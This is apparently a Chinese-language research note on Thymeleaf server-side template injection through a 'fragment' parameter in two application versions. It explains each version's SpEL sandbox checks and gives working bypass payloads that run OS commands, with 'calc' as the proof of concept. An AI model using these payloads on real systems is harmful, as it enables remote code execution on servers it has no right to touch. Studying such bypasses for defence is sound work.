目录
[V 4.7.1](#V 4.7.1)
[V 4.8.1](#V 4.8.1)
V 4.7.1
用的是3.0.12的Thymeleaf依赖

该版本对新建类有一些限制
https://github.com/thymeleaf/thymeleaf/issues/809
这三个路由都可以从fragment处打入thymeleaf ssti

打入payload:
fragment=${T (java.lang.Runtime).getRuntime().exec("calc")}

来分析下为什么要这么构造payload:
3.0.12的Thymeleaf要求不能containsSpELInstantiationOrStatic

作用是 检测一个 SpEL表达式中是否包含对象实例化(如 new SomeClass(...))或静态方法调用(如 T(SomeClass).method())。
首先是把独立的new给ban了,也不允许出现T(xxx)

可以加个空格,用T (xxx)来进行绕过
V 4.8.1
用的是3.0.15的Thymeleaf依赖

来看下区别

用于检测字符串中是否存在以 $、*、#、@ 或 ~ 开头、后跟空白字符或者{,如果以该格式,则不允许
可以这么绕过
|$${new.java.lang.ProcessBuilder('calc').start()}|

等效于
'$' + ${new.java.lang.ProcessBuilder('calc').start()}
打入payload:
fragment=|$${new.java.lang.ProcessBuilder('calc').start()}|

或者
fragment=|$${''.getClass().forName('org.'+'springframework.expression.spel.standard.SpelExpressionParser').newInstance().parseExpression("''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')").getValue()}|
